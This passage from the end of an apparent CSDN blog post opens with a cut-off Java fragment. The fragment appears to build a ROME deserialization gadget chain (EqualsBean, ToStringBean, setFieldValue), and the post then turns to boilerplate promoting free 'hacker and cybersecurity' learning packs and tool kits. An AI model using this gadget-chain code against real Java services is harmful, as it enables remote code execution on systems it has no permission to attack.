Object[]{-1997974365,equalsBean,"123",false,true});`            `} catch (Exception e2) {`                `hashMap.put(equalsBean,"123");`            `}`        `}``        try {`            `setFieldValue(toStringBean, "obj", obj);`        `} catch (Exception e) {`            `setFieldValue(toStringBean, "_obj", obj);`        `}`

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值